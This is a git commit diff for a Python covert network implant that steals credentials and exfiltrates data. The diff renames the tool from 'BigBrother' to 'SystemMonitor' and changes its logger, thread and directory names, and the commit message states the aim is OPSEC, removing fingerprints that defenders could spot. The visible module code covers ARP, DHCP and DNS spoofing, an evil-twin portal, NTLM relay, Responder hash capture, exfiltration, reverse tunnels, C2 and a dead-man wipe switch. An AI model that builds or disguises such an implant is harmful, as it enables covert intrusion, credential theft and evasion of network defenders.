Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime
This commit is contained in:
Cobra
2026-04-06 11:39:48 -04:00
parent ae4933044b
commit 1eb35c9050
76 changed files with 203 additions and 203 deletions
+16 -16
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""BigBrother — Network surveillance implant CLI. """SystemMonitor — Network surveillance implant CLI.
Main entry point: Click-based CLI + Rich interactive menu. Main entry point: Click-based CLI + Rich interactive menu.
Manages module lifecycle, status monitoring, and kill switch. Manages module lifecycle, status monitoring, and kill switch.
@@ -49,7 +49,7 @@ from utils.resource import (
) )
console = Console() console = Console()
logger = logging.getLogger("bb.cli") logger = logging.getLogger("sensor.cli")
# PID file for daemon mode # PID file for daemon mode
PID_FILE = "/tmp/.bb.pid" PID_FILE = "/tmp/.bb.pid"
@@ -151,7 +151,7 @@ def is_module_enabled(module_name: str, module_type: str, config: dict) -> bool:
@click.group(invoke_without_command=True) @click.group(invoke_without_command=True)
@click.pass_context @click.pass_context
def cli(ctx): def cli(ctx):
"""BigBrother — Network surveillance implant.""" """SystemMonitor — Network surveillance implant."""
ctx.ensure_object(dict) ctx.ensure_object(dict)
if ctx.invoked_subcommand is None: if ctx.invoked_subcommand is None:
interactive_menu() interactive_menu()
@@ -161,11 +161,11 @@ def cli(ctx):
@click.option("--daemon", is_flag=True, help="Fork to background, write PID file") @click.option("--daemon", is_flag=True, help="Fork to background, write PID file")
@click.option("--passive-only", is_flag=True, help="Force passive-only engagement phase") @click.option("--passive-only", is_flag=True, help="Force passive-only engagement phase")
def start(daemon, passive_only): def start(daemon, passive_only):
"""Start BigBrother — initialize all core systems and enabled modules.""" """Start SystemMonitor — initialize all core systems and enabled modules."""
if daemon: if daemon:
_daemonize() _daemonize()
console.print("[bold green]Starting BigBrother...[/bold green]") console.print("[bold green]Starting SystemMonitor...[/bold green]")
try: try:
config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config")) config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
@@ -219,7 +219,7 @@ def start(daemon, passive_only):
engine=engine, tool_manager=tool_manager) engine=engine, tool_manager=tool_manager)
res_mon.start() res_mon.start()
console.print(f"\n[bold green]BigBrother running[/bold green] (tier={engine.tier}, phase={engine.phase})") console.print(f"\n[bold green]SystemMonitor running[/bold green] (tier={engine.tier}, phase={engine.phase})")
if daemon: if daemon:
# Write PID file # Write PID file
@@ -246,7 +246,7 @@ def start(daemon, passive_only):
tool_manager.stop_all() tool_manager.stop_all()
state.stop() state.stop()
bus.stop() bus.stop()
console.print("[green]BigBrother stopped.[/green]") console.print("[green]SystemMonitor stopped.[/green]")
@cli.command() @cli.command()
@@ -257,15 +257,15 @@ def stop():
with open(PID_FILE, "r") as f: with open(PID_FILE, "r") as f:
pid = int(f.read().strip()) pid = int(f.read().strip())
os.kill(pid, signal.SIGTERM) os.kill(pid, signal.SIGTERM)
console.print(f"[green]Sent SIGTERM to BigBrother (PID {pid})[/green]") console.print(f"[green]Sent SIGTERM to SystemMonitor (PID {pid})[/green]")
os.unlink(PID_FILE) os.unlink(PID_FILE)
except (ProcessLookupError, ValueError): except (ProcessLookupError, ValueError):
console.print("[yellow]BigBrother not running (stale PID file)[/yellow]") console.print("[yellow]SystemMonitor not running (stale PID file)[/yellow]")
os.unlink(PID_FILE) os.unlink(PID_FILE)
except PermissionError: except PermissionError:
console.print("[red]Permission denied — try with sudo[/red]") console.print("[red]Permission denied — try with sudo[/red]")
else: else:
console.print("[yellow]No PID file found — BigBrother may not be running[/yellow]") console.print("[yellow]No PID file found — SystemMonitor may not be running[/yellow]")
@cli.command() @cli.command()
@@ -279,7 +279,7 @@ def status():
state = StateManager() state = StateManager()
all_status = state.get_all_module_status() all_status = state.get_all_module_status()
table = Table(title="BigBrother Module Status", show_lines=True) table = Table(title="SystemMonitor Module Status", show_lines=True)
table.add_column("Module", style="cyan", min_width=20) table.add_column("Module", style="cyan", min_width=20)
table.add_column("Status", min_width=10) table.add_column("Status", min_width=10)
table.add_column("PID", justify="right", min_width=8) table.add_column("PID", justify="right", min_width=8)
@@ -418,7 +418,7 @@ def show_config():
import yaml import yaml
yaml_str = yaml.dump(config, default_flow_style=False, sort_keys=False) yaml_str = yaml.dump(config, default_flow_style=False, sort_keys=False)
syntax = Syntax(yaml_str, "yaml", theme="monokai", line_numbers=False) syntax = Syntax(yaml_str, "yaml", theme="monokai", line_numbers=False)
console.print(Panel(syntax, title="BigBrother Configuration", border_style="cyan")) console.print(Panel(syntax, title="SystemMonitor Configuration", border_style="cyan"))
@cli.command() @cli.command()
@@ -546,7 +546,7 @@ def list_modules():
def _view_credentials(): def _view_credentials():
"""Query the credential database and display a Rich table.""" """Query the credential database and display a Rich table."""
base_dir = os.path.expanduser("~/.bigbrother") base_dir = os.path.expanduser("~/.implant")
db_path = os.path.join(base_dir, "credentials.db") db_path = os.path.join(base_dir, "credentials.db")
if not os.path.isfile(db_path): if not os.path.isfile(db_path):
@@ -642,7 +642,7 @@ def _view_credentials():
def _view_intel(): def _view_intel():
"""Show an intelligence summary: hosts, credentials, modules, security tools.""" """Show an intelligence summary: hosts, credentials, modules, security tools."""
base_dir = os.path.expanduser("~/.bigbrother") base_dir = os.path.expanduser("~/.implant")
state = StateManager() state = StateManager()
console.print("\n") console.print("\n")
@@ -798,7 +798,7 @@ def _view_topology():
def _view_timeline(): def _view_timeline():
"""Show recent events from the operator audit log.""" """Show recent events from the operator audit log."""
base_dir = os.path.expanduser("~/.bigbrother") base_dir = os.path.expanduser("~/.implant")
db_path = os.path.join(base_dir, "operator_audit.db") db_path = os.path.join(base_dir, "operator_audit.db")
if not os.path.isfile(db_path): if not os.path.isfile(db_path):
@@ -884,7 +884,7 @@ def interactive_menu():
temp_str = f"{temp:.1f}C" if temp is not None else "N/A" temp_str = f"{temp:.1f}C" if temp is not None else "N/A"
header = ( header = (
f"[bold cyan]BigBrother[/bold cyan] v1.0\n" f"[bold cyan]SystemMonitor[/bold cyan] v1.0\n"
f"Hardware: [yellow]{hw.model or 'Unknown'}[/yellow] ({tier})\n" f"Hardware: [yellow]{hw.model or 'Unknown'}[/yellow] ({tier})\n"
f"CPU: {hw.cpu_cores} cores ({hw.architecture}) | RAM: {hw.total_ram_mb}MB | Temp: {temp_str}\n" f"CPU: {hw.cpu_cores} cores ({hw.architecture}) | RAM: {hw.total_ram_mb}MB | Temp: {temp_str}\n"
f"Phase: [{'green' if phase == 'passive_only' else 'red'}]{phase}[/{'green' if phase == 'passive_only' else 'red'}]" f"Phase: [{'green' if phase == 'passive_only' else 'red'}]{phase}[/{'green' if phase == 'passive_only' else 'red'}]"
+2 -2
View File
@@ -13,7 +13,7 @@ import multiprocessing
from dataclasses import dataclass, field, asdict from dataclasses import dataclass, field, asdict
from typing import Callable, Optional from typing import Callable, Optional
logger = logging.getLogger("bb.bus") logger = logging.getLogger("sensor.bus")
# Canonical event types # Canonical event types
EVENT_TYPES = frozenset([ EVENT_TYPES = frozenset([
@@ -66,7 +66,7 @@ class EventBus:
return return
self._running = True self._running = True
self._dispatcher_thread = threading.Thread( self._dispatcher_thread = threading.Thread(
target=self._dispatch_loop, daemon=True, name="bb-bus-dispatch" target=self._dispatch_loop, daemon=True, name="sensor-bus-dispatch"
) )
self._dispatcher_thread.start() self._dispatcher_thread.start()
logger.info("EventBus dispatcher started") logger.info("EventBus dispatcher started")
+2 -2
View File
@@ -16,7 +16,7 @@ import threading
import multiprocessing import multiprocessing
from typing import Optional, Callable from typing import Optional, Callable
logger = logging.getLogger("bb.capture_bus") logger = logging.getLogger("sensor.capture_bus")
# ETH_P_ALL for capturing all protocols # ETH_P_ALL for capturing all protocols
ETH_P_ALL = 0x0003 ETH_P_ALL = 0x0003
@@ -94,7 +94,7 @@ class CaptureBus:
self._running = True self._running = True
self._sock = self._open_socket() self._sock = self._open_socket()
self._capture_thread = threading.Thread( self._capture_thread = threading.Thread(
target=self._capture_loop, daemon=True, name="bb-capture" target=self._capture_loop, daemon=True, name="sensor-capture"
) )
self._capture_thread.start() self._capture_thread.start()
logger.info("CaptureBus started on %s", self.interface) logger.info("CaptureBus started on %s", self.interface)
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Module lifecycle manager. """Module lifecycle manager.
Each BigBrother module runs in its own multiprocessing.Process. Each SystemMonitor module runs in its own multiprocessing.Process.
The Engine handles: The Engine handles:
- Loading module classes from the modules/ tree - Loading module classes from the modules/ tree
- Dependency resolution (topological sort) - Dependency resolution (topological sort)
@@ -26,7 +26,7 @@ from core.state import StateManager
from modules.base import BaseModule from modules.base import BaseModule
from utils.networking import get_primary_interface from utils.networking import get_primary_interface
logger = logging.getLogger("bb.engine") logger = logging.getLogger("sensor.engine")
# Hardware tier definitions — module limits and resource ceilings # Hardware tier definitions — module limits and resource ceilings
HARDWARE_TIERS = { HARDWARE_TIERS = {
+4 -4
View File
@@ -28,7 +28,7 @@ from typing import Optional
from core.bus import EventBus from core.bus import EventBus
logger = logging.getLogger("bb.kill_switch") logger = logging.getLogger("sensor.kill_switch")
# Boot flag — if this file exists on boot, resume wipe # Boot flag — if this file exists on boot, resume wipe
WIPE_FLAG = "/var/run/.bb_wipe" WIPE_FLAG = "/var/run/.bb_wipe"
@@ -71,7 +71,7 @@ class KillSwitch:
"install_path", "/opt/.cache/bb" "install_path", "/opt/.cache/bb"
) )
self._luks_device = config.get("security", {}).get( self._luks_device = config.get("security", {}).get(
"luks_device", "/dev/mapper/bb-data" "luks_device", "/dev/mapper/sensor-data"
) )
self._luks_partition = config.get("security", {}).get( self._luks_partition = config.get("security", {}).get(
"luks_partition", "" "luks_partition", ""
@@ -322,7 +322,7 @@ class KillSwitch:
pass pass
# State database # State database
state_db = os.path.expanduser("~/.bigbrother/state.db") state_db = os.path.expanduser("~/.implant/state.db")
for f in [state_db, state_db + "-wal", state_db + "-shm"]: for f in [state_db, state_db + "-wal", state_db + "-shm"]:
if os.path.exists(f): if os.path.exists(f):
self._shred_file(f) self._shred_file(f)
@@ -465,7 +465,7 @@ class KillSwitch:
interval_hours) interval_hours)
self.execute(reason="dead_man_switch") self.execute(reason="dead_man_switch")
t = threading.Thread(target=_dms_loop, daemon=True, name="bb-dms") t = threading.Thread(target=_dms_loop, daemon=True, name="sensor-dms")
t.start() t.start()
def reset_dead_man_switch(self) -> None: def reset_dead_man_switch(self) -> None:
+2 -2
View File
@@ -17,7 +17,7 @@ from typing import Optional
from core.bus import EventBus from core.bus import EventBus
from core.state import StateManager from core.state import StateManager
logger = logging.getLogger("bb.resource_monitor") logger = logging.getLogger("sensor.resource_monitor")
# Thermal thresholds (Celsius) # Thermal thresholds (Celsius)
THERMAL_WARNING = 55 THERMAL_WARNING = 55
@@ -72,7 +72,7 @@ class ResourceMonitor:
return return
self._running = True self._running = True
self._thread = threading.Thread( self._thread = threading.Thread(
target=self._monitor_loop, daemon=True, name="bb-resource-monitor" target=self._monitor_loop, daemon=True, name="sensor-resource-monitor"
) )
self._thread.start() self._thread.start()
logger.info("ResourceMonitor started (tier=%s, thermal_zone=%s)", logger.info("ResourceMonitor started (tier=%s, thermal_zone=%s)",
+2 -2
View File
@@ -14,7 +14,7 @@ from dataclasses import dataclass, field
from typing import Callable, Optional from typing import Callable, Optional
from concurrent.futures import ThreadPoolExecutor from concurrent.futures import ThreadPoolExecutor
logger = logging.getLogger("bb.scheduler") logger = logging.getLogger("sensor.scheduler")
@dataclass @dataclass
@@ -69,7 +69,7 @@ class Scheduler:
task.next_run = now + task.interval + random.uniform(0, task.jitter) task.next_run = now + task.interval + random.uniform(0, task.jitter)
self._thread = threading.Thread( self._thread = threading.Thread(
target=self._scheduler_loop, daemon=True, name="bb-scheduler" target=self._scheduler_loop, daemon=True, name="sensor-scheduler"
) )
self._thread.start() self._thread.start()
logger.info("Scheduler started (%d tasks)", len(self._tasks)) logger.info("Scheduler started (%d tasks)", len(self._tasks))
+2 -2
View File
@@ -16,7 +16,7 @@ import logging
from typing import Any, Optional from typing import Any, Optional
from pathlib import Path from pathlib import Path
logger = logging.getLogger("bb.state") logger = logging.getLogger("sensor.state")
_DEFAULT_DB = os.path.join( _DEFAULT_DB = os.path.join(
os.path.expanduser("~"), ".bigbrother", "state.db" os.path.expanduser("~"), ".bigbrother", "state.db"
@@ -58,7 +58,7 @@ class StateManager:
return return
self._running = True self._running = True
self._writer_thread = threading.Thread( self._writer_thread = threading.Thread(
target=self._writer_loop, daemon=True, name="bb-state-writer" target=self._writer_loop, daemon=True, name="sensor-state-writer"
) )
self._writer_thread.start() self._writer_thread.start()
logger.info("StateManager writer started (db=%s)", self._db_path) logger.info("StateManager writer started (db=%s)", self._db_path)
+2 -2
View File
@@ -24,7 +24,7 @@ from typing import Callable, Optional
from core.bus import EventBus from core.bus import EventBus
logger = logging.getLogger("bb.tool_manager") logger = logging.getLogger("sensor.tool_manager")
@dataclass @dataclass
@@ -85,7 +85,7 @@ class ToolManager:
return return
self._running = True self._running = True
self._monitor_thread = threading.Thread( self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, name="bb-tool-monitor" target=self._monitor_loop, daemon=True, name="sensor-tool-monitor"
) )
self._monitor_thread.start() self._monitor_thread.start()
+1 -1
View File
@@ -1,4 +1,4 @@
"""BigBrother active modules — MITM, spoofing, and interception.""" """SystemMonitor active modules — MITM, spoofing, and interception."""
from modules.active.bettercap_mgr import BettercapManager from modules.active.bettercap_mgr import BettercapManager
from modules.active.arp_spoof import ARPSpoof from modules.active.arp_spoof import ARPSpoof
+1 -1
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.arp_spoof") logger = logging.getLogger("sensor.active.arp_spoof")
class ARPSpoof(BaseModule): class ARPSpoof(BaseModule):
+3 -3
View File
@@ -21,7 +21,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
from utils.bettercap_api import BettercapAPI from utils.bettercap_api import BettercapAPI
logger = logging.getLogger("bb.active.bettercap_mgr") logger = logging.getLogger("sensor.active.bettercap_mgr")
class BettercapManager(BaseModule): class BettercapManager(BaseModule):
@@ -96,13 +96,13 @@ class BettercapManager(BaseModule):
# Health monitoring thread # Health monitoring thread
self._health_thread = threading.Thread( self._health_thread = threading.Thread(
target=self._health_loop, daemon=True, name="bb-bcap-health" target=self._health_loop, daemon=True, name="sensor-bcap-health"
) )
self._health_thread.start() self._health_thread.start()
# Event stream parser thread # Event stream parser thread
self._event_thread = threading.Thread( self._event_thread = threading.Thread(
target=self._event_loop, daemon=True, name="bb-bcap-events" target=self._event_loop, daemon=True, name="sensor-bcap-events"
) )
self._event_thread.start() self._event_thread.start()
+1 -1
View File
@@ -13,7 +13,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.dhcp_spoof") logger = logging.getLogger("sensor.active.dhcp_spoof")
class DHCPSpoof(BaseModule): class DHCPSpoof(BaseModule):
+1 -1
View File
@@ -14,7 +14,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.dns_poison") logger = logging.getLogger("sensor.active.dns_poison")
class DNSPoison(BaseModule): class DNSPoison(BaseModule):
+2 -2
View File
@@ -24,7 +24,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.evil_twin") logger = logging.getLogger("sensor.active.evil_twin")
# Default dnsmasq config for captive portal # Default dnsmasq config for captive portal
DNSMASQ_CONF_TEMPLATE = """interface={iface} DNSMASQ_CONF_TEMPLATE = """interface={iface}
@@ -512,7 +512,7 @@ class EvilTwin(BaseModule):
self._portal_thread = threading.Thread( self._portal_thread = threading.Thread(
target=self._portal_server.serve_forever, target=self._portal_server.serve_forever,
daemon=True, daemon=True,
name="bb-captive-portal", name="sensor-captive-portal",
) )
self._portal_thread.start() self._portal_thread.start()
logger.info("Captive portal serving on port %d", self._portal_port) logger.info("Captive portal serving on port %d", self._portal_port)
+2 -2
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.ipv6_slaac") logger = logging.getLogger("sensor.active.ipv6_slaac")
class IPv6SLAAC(BaseModule): class IPv6SLAAC(BaseModule):
@@ -173,7 +173,7 @@ class IPv6SLAAC(BaseModule):
# Start output monitoring thread # Start output monitoring thread
self._mitm6_thread = threading.Thread( self._mitm6_thread = threading.Thread(
target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor" target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
) )
self._mitm6_thread.start() self._mitm6_thread.start()
+2 -2
View File
@@ -21,7 +21,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.mitmproxy_mgr") logger = logging.getLogger("sensor.active.mitmproxy_mgr")
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W # Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"} SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
@@ -195,7 +195,7 @@ class MitmproxyManager(BaseModule):
# Start output monitoring # Start output monitoring
self._monitor_thread = threading.Thread( self._monitor_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="bb-mitmproxy-monitor" target=self._monitor_output, daemon=True, name="sensor-mitmproxy-monitor"
) )
self._monitor_thread.start() self._monitor_thread.start()
+2 -2
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.ntlm_relay") logger = logging.getLogger("sensor.active.ntlm_relay")
# Supported relay protocols # Supported relay protocols
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"]) RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
@@ -179,7 +179,7 @@ class NTLMRelay(BaseModule):
# Start output monitoring # Start output monitoring
self._output_thread = threading.Thread( self._output_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="bb-ntlmrelay-monitor" target=self._monitor_output, daemon=True, name="sensor-ntlmrelay-monitor"
) )
self._output_thread.start() self._output_thread.start()
+2 -2
View File
@@ -21,7 +21,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.active.responder_mgr") logger = logging.getLogger("sensor.active.responder_mgr")
# Regex for Responder hash log filenames # Regex for Responder hash log filenames
HASH_FILE_PATTERN = re.compile( HASH_FILE_PATTERN = re.compile(
@@ -195,7 +195,7 @@ class ResponderManager(BaseModule):
# Start hash file monitoring thread # Start hash file monitoring thread
self._hash_thread = threading.Thread( self._hash_thread = threading.Thread(
target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes" target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
) )
self._hash_thread.start() self._hash_thread.start()
+2 -2
View File
@@ -1,11 +1,11 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Abstract base class for all BigBrother modules.""" """Abstract base class for all SystemMonitor modules."""
from abc import ABC, abstractmethod from abc import ABC, abstractmethod
class BaseModule(ABC): class BaseModule(ABC):
"""Base class that all BigBrother modules must inherit from. """Base class that all SystemMonitor modules must inherit from.
Each module runs as a separate process managed by the Engine. Each module runs as a separate process managed by the Engine.
""" """
+1 -1
View File
@@ -1,4 +1,4 @@
"""BigBrother connectivity modules — C2 and data transport layer.""" """SystemMonitor connectivity modules — C2 and data transport layer."""
from modules.connectivity.wireguard import WireGuard from modules.connectivity.wireguard import WireGuard
from modules.connectivity.tailscale import Tailscale from modules.connectivity.tailscale import Tailscale
+2 -2
View File
@@ -22,7 +22,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.ble_emergency") logger = logging.getLogger("sensor.connectivity.ble_emergency")
# Custom BLE service/characteristic UUIDs (random, non-standard) # Custom BLE service/characteristic UUIDs (random, non-standard)
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001" SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
@@ -153,7 +153,7 @@ class BLEEmergency(BaseModule):
# Start GATT command listener in background thread # Start GATT command listener in background thread
self._nonce = secrets.token_hex(16) self._nonce = secrets.token_hex(16)
self._gatt_thread = threading.Thread( self._gatt_thread = threading.Thread(
target=self._gatt_listen_loop, daemon=True, name="bb-ble-gatt", target=self._gatt_listen_loop, daemon=True, name="sensor-ble-gatt",
) )
self._gatt_thread.start() self._gatt_thread.start()
+2 -2
View File
@@ -22,7 +22,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.bridge") logger = logging.getLogger("sensor.connectivity.bridge")
BRIDGE_NAME = "br0" BRIDGE_NAME = "br0"
WATCHDOG_INTERVAL = 5.0 # seconds between health checks WATCHDOG_INTERVAL = 5.0 # seconds between health checks
@@ -84,7 +84,7 @@ class Bridge(BaseModule):
self._bridge_up = True self._bridge_up = True
self._watchdog_thread = threading.Thread( self._watchdog_thread = threading.Thread(
target=self._watchdog_loop, daemon=True, name="bb-bridge-watchdog", target=self._watchdog_loop, daemon=True, name="sensor-bridge-watchdog",
) )
self._watchdog_thread.start() self._watchdog_thread.start()
+1 -1
View File
@@ -22,7 +22,7 @@ except ImportError:
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.cellular_backup") logger = logging.getLogger("sensor.connectivity.cellular_backup")
# Default serial device for modem AT commands # Default serial device for modem AT commands
DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2" DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2"
+3 -3
View File
@@ -30,7 +30,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
from core.bus import Event from core.bus import Event
logger = logging.getLogger("bb.connectivity.data_exfil") logger = logging.getLogger("sensor.connectivity.data_exfil")
class ExfilPriority(IntEnum): class ExfilPriority(IntEnum):
@@ -109,13 +109,13 @@ class DataExfil(BaseModule):
self._start_time = time.time() self._start_time = time.time()
self._worker_thread = threading.Thread( self._worker_thread = threading.Thread(
target=self._worker_loop, daemon=True, name="bb-exfil-worker", target=self._worker_loop, daemon=True, name="sensor-exfil-worker",
) )
self._worker_thread.start() self._worker_thread.start()
# Start nightly sync scheduler # Start nightly sync scheduler
self._nightly_thread = threading.Thread( self._nightly_thread = threading.Thread(
target=self._nightly_scheduler, daemon=True, name="bb-exfil-nightly", target=self._nightly_scheduler, daemon=True, name="sensor-exfil-nightly",
) )
self._nightly_thread.start() self._nightly_thread.start()
+1 -1
View File
@@ -22,7 +22,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.reverse_tunnel") logger = logging.getLogger("sensor.connectivity.reverse_tunnel")
AUTOSSH_BIN = "/usr/bin/autossh" AUTOSSH_BIN = "/usr/bin/autossh"
STUNNEL_BIN = "/usr/bin/stunnel" STUNNEL_BIN = "/usr/bin/stunnel"
+1 -1
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.tailscale") logger = logging.getLogger("sensor.connectivity.tailscale")
TAILSCALE_BIN = "/usr/bin/tailscale" TAILSCALE_BIN = "/usr/bin/tailscale"
TAILSCALED_BIN = "/usr/sbin/tailscaled" TAILSCALED_BIN = "/usr/sbin/tailscaled"
+1 -1
View File
@@ -15,7 +15,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.wifi_client") logger = logging.getLogger("sensor.connectivity.wifi_client")
WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant" WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant"
WPA_CLI_BIN = "/sbin/wpa_cli" WPA_CLI_BIN = "/sbin/wpa_cli"
+1 -1
View File
@@ -17,7 +17,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.wireguard") logger = logging.getLogger("sensor.connectivity.wireguard")
WG_INTERFACE = "wg0" WG_INTERFACE = "wg0"
HEALTH_CHECK_TIMEOUT = 5 # seconds HEALTH_CHECK_TIMEOUT = 5 # seconds
+1 -1
View File
@@ -1,4 +1,4 @@
"""BigBrother intelligence modules — on-device analysis and data aggregation.""" """SystemMonitor intelligence modules — on-device analysis and data aggregation."""
from modules.intel.credential_db import CredentialDB from modules.intel.credential_db import CredentialDB
from modules.intel.topology_mapper import TopologyMapper from modules.intel.topology_mapper import TopologyMapper
+3 -3
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.change_detector") logger = logging.getLogger("sensor.intel.change_detector")
_SCHEMA = """ _SCHEMA = """
CREATE TABLE IF NOT EXISTS changes ( CREATE TABLE IF NOT EXISTS changes (
@@ -132,7 +132,7 @@ class ChangeDetector(BaseModule):
if self._running: if self._running:
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "change_detector.db") self._db_path = os.path.join(base_dir, "change_detector.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True) os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
@@ -160,7 +160,7 @@ class ChangeDetector(BaseModule):
# Monitor thread for periodic diffing # Monitor thread for periodic diffing
self._monitor_thread = threading.Thread( self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, target=self._monitor_loop, daemon=True,
name="bb-change-detector", name="sensor-change-detector",
) )
self._monitor_thread.start() self._monitor_thread.start()
+2 -2
View File
@@ -18,7 +18,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.credential_db") logger = logging.getLogger("sensor.intel.credential_db")
_SCHEMA = """ _SCHEMA = """
CREATE TABLE IF NOT EXISTS credentials ( CREATE TABLE IF NOT EXISTS credentials (
@@ -103,7 +103,7 @@ class CredentialDB(BaseModule):
if self._running: if self._running:
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "credentials.db") self._db_path = os.path.join(base_dir, "credentials.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True) os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
+2 -2
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.net_intel") logger = logging.getLogger("sensor.intel.net_intel")
# Known malicious infrastructure patterns # Known malicious infrastructure patterns
_KNOWN_BAD_PORTS = { _KNOWN_BAD_PORTS = {
@@ -87,7 +87,7 @@ class NetIntel(BaseModule):
# Periodic analysis thread # Periodic analysis thread
self._analysis_thread = threading.Thread( self._analysis_thread = threading.Thread(
target=self._analysis_loop, daemon=True, target=self._analysis_loop, daemon=True,
name="bb-netintel-analysis", name="sensor-netintel-analysis",
) )
self._analysis_thread.start() self._analysis_thread.start()
+2 -2
View File
@@ -20,7 +20,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.operator_audit") logger = logging.getLogger("sensor.intel.operator_audit")
_SCHEMA = """ _SCHEMA = """
CREATE TABLE IF NOT EXISTS audit_log ( CREATE TABLE IF NOT EXISTS audit_log (
@@ -74,7 +74,7 @@ class OperatorAudit(BaseModule):
if self._running: if self._running:
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "operator_audit.db") self._db_path = os.path.join(base_dir, "operator_audit.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True) os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
+3 -3
View File
@@ -18,7 +18,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.security_posture") logger = logging.getLogger("sensor.intel.security_posture")
_SCHEMA = """ _SCHEMA = """
CREATE TABLE IF NOT EXISTS security_tools ( CREATE TABLE IF NOT EXISTS security_tools (
@@ -188,7 +188,7 @@ class SecurityPosture(BaseModule):
if self._running: if self._running:
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "security_posture.db") self._db_path = os.path.join(base_dir, "security_posture.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True) os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
@@ -207,7 +207,7 @@ class SecurityPosture(BaseModule):
self._scan_thread = threading.Thread( self._scan_thread = threading.Thread(
target=self._periodic_scan, daemon=True, target=self._periodic_scan, daemon=True,
name="bb-security-posture", name="sensor-security-posture",
) )
self._scan_thread.start() self._scan_thread.start()
+3 -3
View File
@@ -17,7 +17,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.supply_chain_detect") logger = logging.getLogger("sensor.intel.supply_chain_detect")
_SCHEMA = """ _SCHEMA = """
